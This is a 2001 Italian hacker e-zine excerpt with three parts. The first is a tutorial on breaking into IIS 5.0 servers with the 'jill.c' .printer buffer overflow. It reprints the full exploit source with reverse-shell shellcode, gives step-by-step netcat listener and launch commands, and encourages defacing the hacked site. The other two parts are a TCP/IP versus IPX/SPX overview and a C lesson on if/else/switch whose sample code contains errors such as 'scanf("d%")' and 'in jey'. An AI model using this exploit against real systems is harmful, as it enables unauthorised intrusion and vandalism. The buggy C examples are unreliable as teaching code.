| DiSCLAiMER_LEGALi |
| QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0' L'AUTORE, |
| MightyInquisitor, DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0 CHE POTREBBE ESSERNE |
| FATT0. L'AUTORE, DUNQUE, NON iNC0RAGGiA CHi VOLESSE SERViRSENE PER SC0Pi |
| iLLEGALi. |
| |
| |
| cat Index.txt |
| -------------- |
| /Index.txt |
| /Intro.txt |
| /Munizioni.txt |
| /Go.txt |
| /Saluti.txt |
| -------------- |
| |
| |
| cat Intro.txt |
| ----------------------------------------------------------------------------- |
| Come molti di voi sapranno, win2k è pieno di bug, come del resto tutti i |
| prodotti di casa |
| microsux. In questo testo vi racconto una bella storiella, ovvero come |
| hakkare un server |
| iis 5.0 sfruttando un bug molto simpatico: il '.print overflow'. |
| Passiamo quindi ora alla pratica, che è quello che voi preferite, o no? |
| ----------------------------------------------------------------------------- |
| |
| |
| cat Munizioni.txt |
| ----------------------------------------------------------------------------- |
| Premetto che non è semplicissima questa tecnica di hacking, ma che da buoni |
| risultati, se |
| si trova un server iis 5.0 vulnerabile al .print overflow. Purtroppo però |
| devi dirvi che |
| questo bug è stato patchato dalla maggior parte dei sysadmin di server |
| microsux, non |
| demoralizzatevi però e ricordate: dove c'è microsoft c'è bug. |
| Allora, volate su www.packetstormsecurity.com e scaricate: |
| - jill.c |
| - nc110.tgz |
| Questi sono gli unici due file necessari per exploitare il server che |
| vogliamo noi. |
| |
| Jill.c: questo è il vero e proprio exploit, un sorgente in C. |
| Nc110.tgz: questo è il net cat, la versione per linux ovviamente, visto che |
| in questo tut. |
| vi spiego come exploitare il server iis dalla vostra linux box. |
| ----------------------------------------------------------------------------- |
| |
| |
| cat Go.txt |
| ----------------------------------------------------------------------------- |
| :Primo punto: |
| Apri due shell, possono essere due console in locale oppure due shell |
| hakkate oppure due |
| shell pubbliche. L'importante è che siano due. |
| Nella prima userai net cat e lo metterai in ascolto su una porta del sistema |
| dove lo stai |
| eseguendo; nella seconda userai jill (l'exploit) in un secondo momento. |
| |
| :Secondo punto: |
| Entra nella directory dove hai scaricato il file 'jill.c', compilalo con il |
| seguente |
| comando: 'gcc -o jill jill.c'. |
| |
| Nota: In caso tu non abbia trovato il file jill.c su packetstorm, ho |
| riportato il sorgente |
| intero, basta che lo copi in un file col nome jill.c e poi lo compili come |
| ho scritto sopra. |
| |
| .:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:. |
| /* SORGENTE DI JILL.C |
| * IIS 5 remote .printer overflow. "jill.c" (don't ask). |
| * |
| * by: dark spyrit <dspyrit@beavuh.org> |
| * |
| * respect to eeye for finding this one - nice work. |
| * shouts to halvar, neofight and the beavuh bitchez. |
| * |
| * this exploit overwrites an exception frame to control eip and get to |
| * our code.. the code then locates the pointer to our larger buffer and |
| * execs. |
| * |
| * usage: jill <victim host> <victim port> <attacker host> <attacker port> |
| * |
| * the shellcode spawns a reverse cmd shell.. so you need to set up a |
| * netcat listener on the host you control. |
| * |
| * Ex: nc -l -p <attacker port> -vv |
| * |
| * I haven't slept in years. |
| */ |
| |
| #include <sys/types.h> |
| #include <sys/time.h> |
| #include <sys/socket.h> |
| #include <netinet/in.h> |
| #include <arpa/inet.h> |
| #include <unistd.h> |
| #include <errno.h> |
| #include <stdlib.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <fcntl.h> |
| #include <netdb.h> |
| |
| int main(int argc, char *argv[]){ |
| |
| /* the whole request rolled into one, pretty huh? carez. */ |
| |
| unsigned char sploit[]= |
| "\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20" |
| "\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90" |
| "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95" |
| "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95" |
| "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" |
| "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa" |
| "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91" |
| "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6" |
| "\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56" |
| "\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55" |
| "\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95" |
| "\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95" |
| "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5" |
| "\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18" |
| "\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a" |
| "\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14" |
| "\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2" |
| "\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14" |
| "\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2" |
| "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd" |
| "\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5" |
| "\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d" |
| "\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3" |
| "\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3" |
| "\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15" |
| "\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a" |
| "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0" |
| "\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd" |
| "\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1" |
| "\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e" |
| "\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4" |
| "\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6" |
| "\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7" |
| "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6" |
| "\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0" |
| "\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1" |
| "\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2" |
| "\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95" |
| "\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95" |
| "\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6" |
| "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0" |
| "\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb" |
| "\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb" |
| "\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33" |
| "\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0" |
| "\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a"; |
| |
| int s; |
| unsigned short int a_port; |
| unsigned long a_host; |
| struct hostent *ht; |
| struct sockaddr_in sin; |
| |
| printf("iis5 remote .printer overflow.\n" |
| "dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n"); |
| |
| if (argc != 5){ |
| printf("usage: %s <victimHost> <victimPort> <attackerHost> |
| <attackerPort>\n",argv[0]); |
| exit(1); |
| } |
| |
| if ((ht = gethostbyname(argv[1])) == 0){ |
| herror(argv[1]); |
| exit(1); |
| } |
| |
| sin.sin_port = htons(atoi(argv[2])); |
| a_port = htons(atoi(argv[4])); |
| a_port^=0x9595; |
| |
| sin.sin_family = AF_INET; |
| sin.sin_addr = *((struct in_addr *)ht->h_addr); |
| |
| if ((ht = gethostbyname(argv[3])) == 0){ |
| herror(argv[3]); |
| exit(1); |
| } |
| |
| a_host = *((unsigned long *)ht->h_addr); |
| a_host^=0x95959595; |
| |
| sploit[441]= (a_port) & 0xff; |
| sploit[442]= (a_port >> 8) & 0xff; |
| |
| sploit[446]= (a_host) & 0xff; |
| sploit[447]= (a_host >> 8) & 0xff; |
| sploit[448]= (a_host >> 16) & 0xff; |
| sploit[449]= (a_host >> 24) & 0xff; |
| |
| if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ |
| perror("socket"); |
| exit(1); |
| } |
| |
| printf("\nconnecting... \n"); |
| |
| if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){ |
| perror("connect"); |
| exit(1); |
| } |
| |
| write(s, sploit, strlen(sploit)); |
| sleep (1); |
| close (s); |
| |
| printf("sent... \nyou may need to send a carriage on your listener |
| if the shell doesn't appear.\nhave fun!\n"); |
| exit(0); |
| } |
| .:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:. |
| |
| :Terzo punto: |
| Vai nella prima shell ed entra nella directory dove hai scaricato il file |
| nc110.tgz. Scrivi: |
| 'su' (senza apici ovviamente) e loggati come root, ora scrivi: 'tar xvzf |
| nc110.tgz' quindi |
| il file sarà decompresso in una directory chiamata: 'nc110', entraci e |
| scrivi: |
| 'make generic', questo fa si che si crei il file 'nc', ovvero il programma |
| eseguibile di |
| net cat. |
| |
| :Quarto punto: |
| Ora, sempre nella prima shell, digita: './nc -l -p 10000 -vv' e premi invio |
| (ovviamente ;)). |
| Questo fa si che net cat si metta in ascolto sulla porta 10000 del pc sul |
| quale lo stai |
| eseguendo da shell. Puoi usare qualsiasi porta non ancora in uso, ma ti |
| consiglio un bel |
| numero tondo come faccio io (10000). |
| |
| :Quinto punto: |
| Ora che hai net cat in ascolto sulla porta che hai scelto, vai nell'altra |
| shell, dove hai |
| compilato il file jill.c in jill (eseguibile), e digita: |
| './jill www.xxx.yyy 80 <ip della shell dove hai eseguito net cat> <porta |
| sulla quale c'è in |
| ascolto net cat>. |
| Un esempio può essere: |
| ./jill www.xxx.yyy 80 154.34.98.121 10000. Capito? Spero di si! |
| Ora premi invio e leggi cosa ti dice. |
| |
| :Sesto punto: |
| Dovrebbe mostrarti una frase del tipo: |
| 'you may need to send a carriage on your listener if the shell doesn't |
| appear. |
| have fun!' |
| Nel caso che il server (www.xxx.yyy) sia vulnerabile a jill, apparirà una |
| scritta tipo: |
| 'c:\winnt\system32' nella shell dove hai messo in ascolto net cat sulla |
| porta 10000. |
| Ora hai pieni poteri sul server che hai appena hakkato. Usa quindi i comandi |
| che useresti in |
| dos (dir, rm, echo, del, ect....) per fare quello che vuoi del sistema, per |
| esempio un bel |
| deface, è solo trovare la directory home del sito. |
| Nel caso che il server non sia vulnerabile a jill, non apparirà niente nella |
| shell di net |
| cat, quindi: RiTENTA, SARAi PiU' FORTUNATO!!! ;) |
| ----------------------------------------------------------------------------- |
| |
| |
| cat Saluti.txt |
| ----------------------------------------------------------------------------- |
| Un GRAZIE va a Linus Torvalds: se non esistessi, bisognerebbe inventarti. |
| Un saluto va a tutta la redazione di OndaQuadra, specialmente a Tritemius x |
| il supporto; |
| tutto il New-[world]-Bie Team; la BlackSun (Mikkkeee sei grande); tutta la |
| Tank Commandos |
| Crew, specialmente SpiDEr2K, SPYR0, Screener_it, kEwL` e BiGAlex; agli amici |
| di #crack-it |
| e a tutti gli assidui frequentatori di #chihackerare e di #hackmaniaci. |
| ----------------------------------------------------------------------------- |
| |
| |
| -EoF- |
| |
| |
| Per ogni ulteriore informazione, chiarimento o dubbio potete contattarmi via |
| e-mail o su irc. |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #04 - 19/11/2001 |
| i PR0T0C0LLi Di RETE TCP/IP - IPX/SPX [shnyper] 0x0C/0x23 |
+-------------------------------------------------------------------------------+
| |
| Ho deciso di scrivere questo tute in quanto in molti si sentono Dio perchè |
| sanno usare una backdoor o smurfare qualche sfigato su Irc..ma alla fine non |
| sa neanche come funzionano i protocolli di rete..! |
| |
| Il funzionamento di una rete si basa sui protocolli, cioè sulle regole che |
| permettono di gestire i dati in modo efficace ed affidabile. |
| Anche se "trasparenti" all'utente, la loro architettura è uno degli elementi |
| più importanti per pianificare e realizzare reti dalle LAN alle WAN. |
| Esistono protocolli proprietari (IBM SNA o Digital DECnet) e protocolli di |
| suite (Novell SPX/IPX o TCP/IP). |
| |
| Il sogno della rete semplice con un sinogo protocollo, si è comunque |
| dimostrato irrealizzabile nella pratica. NElla maggior parte di aziende con |
| una decina di host in rete, possono essere presenti anche vari sistemi |
| operativi per PC e il sistema operativo di rete diventa così una specie di |
| evoluzione. Più le reti sono eterogenee(diversi OS) e più la realizzazione |
| di collegamenti e la gestione sistemistica si fa difficile.Internet complica |
| ulteriormente, infatti per ogni PC che sfrutta un browser va installato una |
| suite TCP/IP con IPX. |
| |
| Come altri tipi di protocolli, anche SPX/IPX non è un unico protocollo ma |
| una suite di procedure standard per la connessione dei computer. |
| Ciascun gruppo di protocolli formatta un messaggio, o pacchetto, con |
| particolari caratteristice di indirizzamento, ricezione ed instradamento. |
| Frequentemente questi pacchetti vengono incapsulati l'uno nell'altro per tre |
| o quattro livelli, ognuno con specifica funzione. (V.di incaps.jpg in |
| allegato) |
| |
| Il protocollo IPX è responsabile dell'indirizzamento dei pacchetti fra i |
| nodi della rete ma non si preoccupa del loro stato o della ricezione! |
| Il protocollo invece che invia al mittente una sorta di di ricevuta per i |
| dati che arrivano a destinazione, è l'SPX. |
| Questo protocollo quindi, come potete immaginare, può essere usato dalle |
| applicazioni che necessitano di una garanzia di consegna, come per i |
| trasferimenti dei file in rete, anche se la maggior parte delle |
| applicazioni, soprattutto quelle che gestiscono autonomamente il |
| monitoraggio della comunicazione, utilizza IPX perchè più efficiente e |
| perchè richiede minor overhead. |
| |
| L'IPX è particolarmente adatto al trasferimento di piccoli pacchetti di dati |
| ( c.ca 512 byte), come quelli per le applicazioni winzoz. Questi pacchetti |
| però non sono indicati per le reti a livello nazionale perchè , utilizzando |
| connessioni più lente e costose, sovraccaricherebbero la rete. |
| |
| Fino alla fine '94 i prodotti di rete Micro$oft utilizzavano il NetBios per |
| trasferimento dati tra schede LAN. Ma..anche se molto veloce nelle piccole |
| reti, i suoi pacchetti non contenevano informazioni sufficienti per l'uscita |
| dalle LAN. Così le ultime versioni di winzoz NT si basano |
| sull'implementazione Micro$oft di Novell IPX, utilizzato come protocollo di |
| rete principale. |
| Attualmente Micro$oft e Novell usano IP come protocollo predefinito, ma |
| IPXviene ancora utilizzato in molte LAN attive. |
| |
| I protocolli TCP/IP sono uno standard aperto sviluppato dal dipartimento |
| della difesa degli USA per collegare migliaia di host diversi. Venne |
| sviluppato un gruppo standard di protocolli non proprietari allo scopo di |
| consentire la comunicazione anche tra host delle WAN di grandi dimensioni. |
| Come IPX/SPX , anche TCP/IP è una suite realizzata per controllare i servizi |
| di comunicazione, ma adotta in più la capacità di far comunicare computer |
| diversi in ua rete totalmente eterogenea! |
| |
| La parte IP del TCP/IP si occupa dell'indirizzamento dei pacchetti tra i |
| nodi della rete. IP fornisce il meccanismo di consegna per l'invio e la |
| ricezione dei dati e, come IPX, non è in grado di garantire la consegna. |
| Un vantaggio dell'IP è la possibilità di trasferire in modo sicuro ( più o |
| meno... ;) ) grossi blocchi di dati da una rete all'altra. |
| Un pacchetto può contenere fino a 65.535 byte (di 8 bit), quindi 100 volte |
| di più di IPX. |
| |
| I pacchetti IP sono incapsulati nei pacchetti TCP che forniscono i servizi |
| per le informazioni di connessione. A differenza di IP, il TCP garantisce |
| anche la consegna dei pacchetti e, a differenza di SPX, TCP viene |
| utilizzatodalla maggior parte delle applicazioni TCP/IP, perchè pesato per |
| connessioni poco affidabili. ;) |
| |
| TCP aumenta l'efficienza della trasmissione con il windowing, che consente |
| di continuare ad inviare pacchetti mentre si attendono le ricevute di |
| consegna di quelli gia inviati, funzionalità detta anche packet burst. |
| Il vantaggio di TCP/IP è la possibilità di collegare milioni di computer in |
| una rete globale, quale internet. |
| |
| Diversamente da IPS/SPX, che utilizano una tecnica di broadcast per tener |
| traccia di tutti gli host e di tutti i servizi presenti, la versione 4 di IP |
| (IPv4, la attuale) si basa su una serie di indirizzi univoci di 32 bit (es. |
| 151.23.132.43 , 4 ottetti di 8 bit l'uno). |
| Ciascun nodo della rete possiede un indirizzo univoco. |
| |
| In pratica IPX/SPX è l'ideale per le LAN a breve distanza in quanto i |
| pacchetti sono piccoli e di formato adatto al traffico veloce delle reti |
| locali. Per il resto è adottato TCP/IP. |
| |
| La caratteristica più interessante del TCP/IP è la possibilità di connettere |
| qualunque sistema per formare un insieme unico. |
| |
| Per ora mi fermo qui. Alla prossima. Ciauz. |
| |
| |
| <==<*>==> GLOSSARIO <==<*>==> |
| termini inerenti al tutorial |
| |
| ACK=>Carattere di controllo che indica acknowledgement e che viene scambiato |
| fra le componenti del sistema quando i dati sono stai ricevuti senza errori. |
| |
| ARP=>Un protocollo TCP/IP utilizzato per ottenere un indirizzo fisico di un |
| nodo quando si conosce solo il suo indirizzo IP logico. Praticamente mappa |
| gli indirizzi IP su quelli EThernet. |
| |
| BIND=> Berkley Internet Name Domain è l'implementazione del famoso DNS. |
| Segue lo stile di indirizzamento "nome@dominio". Il processo DNS/BIND |
| collega il nome, leggibile dall'uomo, ad un indirizzo IP. LEga i due come |
| parte di un intero stack. |
| |
| BROADCAST=>Impiegato per inviare un messaggio a tutte le stazioni o ad |
| un'intera classe di stazioni connesse alla rete. |
| |
| BUFFER=>Spazio di memoria temporaneo dove vengono memorizzati i datinel |
| momento in cui si ricevono, prima o dopo la trasmissione. Compensa le |
| differenze di velocità tra trasmissione e elaborazione. |
| |
| INTERNET=>Insieme di reti e gateway che include ARPAnet, MILnet e NSFnet e |
| che adotta il TCP/IP. |
| |
| INTRANET=>Rete basata su IPche serve una organizzazione e i suoi partner |
| commerciali. |
| |
| LATENZA=>(lag) Ritardo nel passaggio dei pacchetti. |
| |
| MODEM=>(MOdulatore/DEModulatore) Dispositivo che effettua la traduzione fra |
| i segnali elettrici e alcuni altri mezzi/supporti di segnalazione.Ciò |
| avviene tra segnali a corrente diretta, i PC, e analogici, le linee |
| telefoniche. |
| |
| NODO=>Connessione o punto di commutazione sulla rete. |
| |
| PACCHETTO=> Blocco di dati inviato sulla rete che trasmette le identità |
| delle stazioni mittente e destinatarie, le info sul controllo degli errori e |
| il messaggio. |
| |
| PPP=>Protocollo che abilita l'utente alla connessione diretta ad internet, |
| utilizzando una linea telefonica tradizionale e un modem ad alta velocità. |
| |
| ROUTER=>Dispositivo di interconnessione simile ad un bridge che serve |
| pacchetti o frame contenenti determinati protocolli. |
| |
| SERVER PROXY=>Tipo di firewall che si interfaccia con Internet mediante un |
| sngolo indirizzo per conto di una area intranet. |
| |
| SERVER=>Computer dotato di alimentazione e capacità notevoli, e che realizzi |
| servizi di file, stampa o comunicazioni dispnibili alle altre stazioni della |
| rete. |
| |
| TCP=>Specifica per il software che impacchetta e spacchetta i dati |
| inviati/ricevuti, gestisc ela trasmissione dei pacchetti sulla rete e |
| controlla gli errori. |
| |
| TCP/IP=>Insieme di protocolli che si evolve alla fine anni '70 tramite |
| DoD(department of defense) |
| |
| TELNET=>Protocollo di emulazione del terminale. Il software che lo supporta |
| viene solitamente incluso come funzione in un pacchetto TCP/IP, e tutti i |
| prog di telnet forniscono l'emulazione del terminale DEC VT-100. |
| |
| WAN=>Tipo di rete che connette i computer su una estensione potenzialmente |
| planetaria. |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 |
| C0RS0 Di C [PARTE TERZA] [JEYoNE] 0x0D/0x23 |
+-------------------------------------------------------------------------------+
| |
|Ciao a tutti, si riparte con il terzo episodio di questa saga, il corso di C |
|di JEYoNE. |
|Non perdiamo tempo con le stronzate e cominciamo subito a spiegare, o meglio a |
|riassumere dove eravamo arrivati la volta scorsa: |
|Se non sbaglio nello scorso numero abbiamo visto il #DEFINE e il loop for, ci |
|sono domande? Tutto chiaro? Ok, allora andiamo avanti. |
|Oggi andiamo a vedere il costrutto IF cha ha la seguente forma: |
| |
| if (condizione) istruzione; |
| |
|La condizione è un'espressione che può essere vera o falsa,come già detto per |
|il FOR x es.: (jey<100). |
|IF in inglese significa "se", quindi in poche parole il costrutto if determina |
|la condizione in questo modo: "Se la condizione è vera,esegui l'istruzione, se |
|è falsa non eseguirla." |
|Le istruzioni vengono eseguite se il valore, una volta valutato, non risulti 0.|
|Quindi un if(0) non farà mai eseguire un'istruzione,mentre un if(1) la farebbe |
|eseguire sempre,quindi risulterebbe inutile un if che esegue sempre (o mai) |
|un'istruzione. |
|Il primo esempio di questa lezione è un piccolo programma che stampa un |
|messaggio soltanto se la variabile è maggiore di 10. |
| |
|#include<stdio.h> |
| |
|main() |
|{ |
| |
| int jey; /* variabile intera che servirà per il costrutto if */ |
| |
| printf("Inserisci il valore di jey\n"); |
| scanf("d%", &jey); |
| if (jey>10) printf("\njey è maggiore di 10\n"); |
|} |
| |
|In questo caso il printf ("jey è maggiore di 10") verrà eseguito soltanto se |
|la variabile jey è maggiore di 10, altrimenti il programma termina dopo |
|l'inserimento del valore di jey. |
| |
|Con quest'altro esempio possiamo decidere se eseguire o meno dei pezzi di |
|programma. |
| |
|#include<stdio.h> |
| |
|main() |
|{ |
| int jey; |
| |
| printf("Inserisci il valore di jey\n"); |
| scanf("d%", &jey); |
| if (jey>10) |
| { |
| printf("jey è maggiore di 10\n"); |
| printf("e ti dirò di più, jey vale %d",jey); |
| } |
| |
|} |
|In questo caso tutti e due i printf verranno eseguiti soltanto se la variabile |
|jey è maggiore di 10. |
| |
|Visto il costrutto IF non possiamo fare a meno di vedere il suo ramo opzionale,|
|chiamato ELSE. |
|La forma di ELSE, che essendo un ramo di IF andrà SEMPRE insieme a lui, è: |
| |
| if (condizione) istruzione; |
| else seconda istruzione; |
| |
|Il ramo ELSE fa eseguire una scelta, O si esegue la prima istruzione, O si |
|esegue la seconda. Se il valore di IF è giusto si eseguira la prima istruzione,|
|altrimenti si eseguirà la seconda. |
|Chiaro? |
|Vediamo un esempio: |
| |
|#include<stdio.h> |
| |
|main() |
|{ |
| in jey; |
| printf("Inserisci il valore di jey\n"); |
| scanf("d%", &jey); |
| if (jey>10) |
| { |
| printf("jey è maggiore di 10\n"); |
| printf("e ti dirò di più, jey vale %d",jey); |
| } |
| else |
| { |
| printf("jey è minore o uguale a 10"); |
| printf("infatti vale %d",jey); |
| } |
|} |
| |
|Ora vediamo come inserire una condizione IF all'interno di un'altra condizione |
|IF. Ovvero fissiamo più di una condizione per l'esecuzione delle istruzioni. |
|Esempio: |
| |
| if (jey>10) |
| { |
| if (jey<20) |
| printf("Il valore di jey è compreso tra 10 e 19\n"); |
| } |
| else |
| printf("jey vale meno di 10"); |
| |
|Qui che cosa succede: se jey è maggiore di 10 andremo a eseguire la seconda |
|condizione IF, e qui se jey è minore di 20 eseguiamo il printf ("Il valore di |
|jey è compreso tra 10 e 19"), altrimenti stampiamo il printf che dice che jey |
|vale meno di 10. |
|Ma che cosa succederà se il valore di jey è superiore a 20? |
|Nulla, il programma uscirà senza dare alcuna risposta, visto che, come abbiamo |
|detto prima, if/else fa eseguire O ciò che dice l'if, O ciò che dice l'else |
|e quindi non avendo un'alternativa il programma subirà un'uscita forzata. Bene |
|Se si vuole far stampare un messaggio quando risulta falso il secondo if |
|bisogna mettere un altro else, vediamo : |
| |
| if (jey>10) |
| { |
| if (jey<20) |
| printf("Il valore di jey è compreso tra 10 e 19\n"); |
| else |
| printf("Il valore di jey supera il 20, infatti è d%",jey); |
| } |
| else |
| printf("jey vale meno di 10"); |
| |
|Bene, ora andremo a vedere il costrutto SWITCH, che permette di fare dei test |
|multipli ad una variabile. Questo può tornare utile come alternativa a molti |
|if/else annidati. |
|Vediamo la sua forma: |
| |
| switch(variabile) |
| { |
| case costante1: |
| istruzione1; |
| break; |
| case costante2: |
| istruzione2; |
| break; |
| case costante3: |
| istruzione3; |
| break; |
| default: |
| istruzione4; |
| } |
| |
|In questo caso verranno eseguiti 3 confronti, se la variabile non dovesse |
|soddisfare nessuno dei tre confronti verrà eseguita l'istruzione di default. |
|I "break" servono per fermare il confronto qualora uno dei casi risultasse |
|vero, se non ci fossero verrebbero eseguiti inutilmente tutti gli altri. |
